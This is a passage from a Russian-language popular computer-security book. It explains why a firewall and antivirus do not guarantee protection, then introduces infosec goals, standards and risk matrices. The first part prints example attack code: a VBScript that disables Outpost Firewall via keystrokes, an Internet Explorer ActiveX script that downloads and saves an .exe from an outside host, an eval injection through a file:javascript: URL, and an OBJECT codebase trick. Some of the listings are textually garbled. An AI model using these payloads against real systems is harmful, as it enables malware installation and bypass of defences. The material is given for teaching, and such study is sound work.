Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров
set WShell = CreateObject("WScript.Shell")
WShell.Exec " FilesAgnitumOutpost Firewalloutpost.exe"
WScript.Sleep 200
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 100
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
WScript.Sleep 100
WShell.SendKeys "{ENTER}"
ПРИМЕЧАНИЕ
Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!
Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня
Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.
Рис. 1.2. И опять наш «Касперский» оказался на высоте
Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.OpenC'GET', "http://www.example.com/1.exe", 0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\example.exe", 2);
</script>
<script language="javascript">
function preparecode(code)
{ result = "";
lines = code.split(/rn/);
for (i=0; i<lines.length; i++) {
line = lines[i];
line = line.replace(/*s+/,"");
line = line.replace(/s+$/,"");
line = line.replace(/'/g,"'");
line = line.replace(/[\]/g,"\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\r\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval(" + mycode + "')";
window.open(myURL, "_media");
}
setTimeout("doit()", 5000);
</script>
</html>
Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.
Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.
Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами "смертного" пользователя.
В качестве яркого примера, иллюстрирующего "всемогущие" возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора.
Листинг 1.6. Наш учебный код
<HTML>
OBJECT CLASSID='CLSID:10000000'
CODEBASE='C:Windowssystem32logoff.exe'>
</OBJECT>
<HTML>
ПРИМЕЧАНИЕ
Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.
А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX-системы, в которых работа без прав суперпользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.
Читателям, которые усомнятся, аргументируя свою уверенность тем, что сервисы вроде DepLoit или GetAdmin уже древность, а альтернативы им нет, достаточно лишь заглянуть на www.securityLab.ru.
Даже при условии, что пользователь постоянно использует run as (утилита, вызываемая из контекстного меню для вторичного входа в систему), войти в систему от "настоящего" администратора рано или поздно ему придется. "Зараза" почувствует это и выполнит свою программу.
Таким образом, наличие в системе антивирусной программы и межсетевого экрана, даже если учесть работу пользователя не от прав администратора, не может стать гарантией того, что система не будет взломана. Взлом системы с конфигурацией, описанной выше, может быть осуществлен даже непрофессионалом!
1.2. Основы информационной безопасности
Прежде чем перейти к знакомству с основами информационной безопасности, резонно заметить, что объем приведенных материалов можно считать лишь ознакомительным, но никак не исчерпывающим руководством, в силу того что полное изложение данной темы выходит за рамки книги.
Итак, информационная безопасность (ИБ) – это процесс и состояние, при котором достигается приемлемый уровень защищенности информации в процессе ее использования.
Чтобы лучше понять, что же такое ИБ, зачем она нужна и какое состояние системы можно считать небезопасным, прежде всего необходимо уяснить себе, какие цели преследует эта самая ИБ.
Выделяют пять основных целей ИБ, среди которых самыми главными можно считать следующие:
♦ конфиденциальность;
♦ доступность;
♦ целостность.
Под конфиденциальностью понимается доступность информации только определенному кругу лиц (например, информация под грифом "секретно" предназначена исключительно для авторизованного персонала).
Под доступностью понимается возможность получения информации авторизованными пользователями в нужное для них время (например, банк предоставляет возможность осуществления транзакций посредством обращения пользователя к корпоративному сайту, при этом сайт должен быть доступен любому пользователю, подключившемуся к Интернету).
Под целостностью понимается гарантия существования информации в неискаженном, истинном виде (например, тот же банк должен быть уверен, что персональные данные, переданные в сеть пользователем, не искажены и верны).
Чтобы не возникло путаницы в определениях, терминах и понятиях, а также в вопросах, касающихся практического применения инструментов ИБ, уже достаточно давно были созданы стандарты информационной безопасности.
Наиболее известна оранжевая (по цвету обложки) книга Министерства обороны США. В этом документе определяется четыре уровня безопасности: D, С, В и А. По мере перехода от уровня D к А к надежности систем предъявляются все более жесткие требования. Уровни С и В подразделяются на классы C1, C2, В1, В2 и ВЗ. Чтобы система в результате процедуры сертификации могла быть отнесена к некоторому классу, ее защита должна удовлетворять оговоренным требованиям.
Вместе с тем следует упомянуть и британский стандарт BS 7799 "Управление информационной безопасностью. Практические правила", который лег в основу международного стандарта ISO/IEC 17799:2005, который, в свою очередь, стал базой для стандарта ISO/IEC 27001.
Следующим понятием ИБ, которое логически вытекает из представлений о стандартах информационной безопасности, является политика ИБ.
Итак, политика безопасности (от англ. security policy) представляет собой совокупность правил, установок и принципов, соблюдение которых обеспечивает приемлемый уровень безопасности/защищенности информационного пространства и инфраструктуры, непосредственно связанной с деятельностью рассматриваемой организации.
Результатом работы администратора безопасности должно стать создание документа политики ИБ.
При создании документа политики ИБ особое внимание необходимо обратить на следующие вопросы:
♦ что можно отнести к активам организации (данные, персонал, обслуживающая инфраструктура, материальные ценности);
♦ насколько чувствительна и секретна рассматриваемая информация;
♦ какие факторы и в каком объеме могут нанести фирме ущерб в информационном аспекте (идентификация угроз);
♦ насколько уязвима система для вторжения изнутри и снаружи (идентификация уязвимостей);
♦ каковы риски организации с учетом входных данных (угрозы, уязвимости, ущерб, активы) и что можно предпринять для минимизации этих рисков.
Определение рисков ИБ и их минимизация являются, пожалуй, ключевым моментом, определяющим актуальность и эффективность политики ИБ.
Как определить, является риск для организации большим или маленьким, приемлемым или недопустимым? В простейшем случае для выяснения степени риска можно воспользоваться матрицей рисков (табл. 1.1).
Из табл. 1.1 вовсе нетрудно догадаться, что величина риска является результатом произведения входных значений (угрозы и ущерба).
Как видно из таблицы, риск можно классифицировать по уровню:
♦ высокий;
♦ средний;
♦ низкий.
Таблица 1.1. Матрица рисков (согласно рекомендациям NIST "Risk Management Guide for Information Technology Systems")
Понятное дело, что если организация имеет дело с высоким риском, то его необходимо нейтрализовать или в крайнем случае минимизировать.
ПРИМЕЧАНИЕ
Если анализ системы показывает, что для минимизации и/или нейтрализации риска могут потребоваться слишком большие неоправданные затраты, то целесообразно отнести такой риск к категории приемлемых. Ущерб от атаки и затраты на ее предотвращение должны быть сбалансированы!
